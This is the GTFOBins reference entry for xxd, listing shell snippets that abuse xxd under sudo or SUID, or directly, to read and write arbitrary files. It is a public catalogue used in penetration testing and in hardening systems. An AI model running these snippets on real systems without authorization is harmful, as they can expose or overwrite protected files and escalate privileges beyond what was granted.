GTFOBins.github.io/_gtfobins/xxd.md
2018-06-12 19:29:34 +01:00

20 lines
384 B
Markdown

---
functions:
sudo-enabled:
- code: |
LFILE=file_to_read
sudo xxd "$LFILE" | xxd -r
suid-enabled:
- code: |
LFILE=file_to_read
./xxd "$LFILE" | xxd -r
file-read:
- code: |
LFILE=file_to_read
xxd "$LFILE" | xxd -r
file-write:
- code: |
LFILE=file_to_write
echo data | xxd | xxd -r - "$LFILE"
---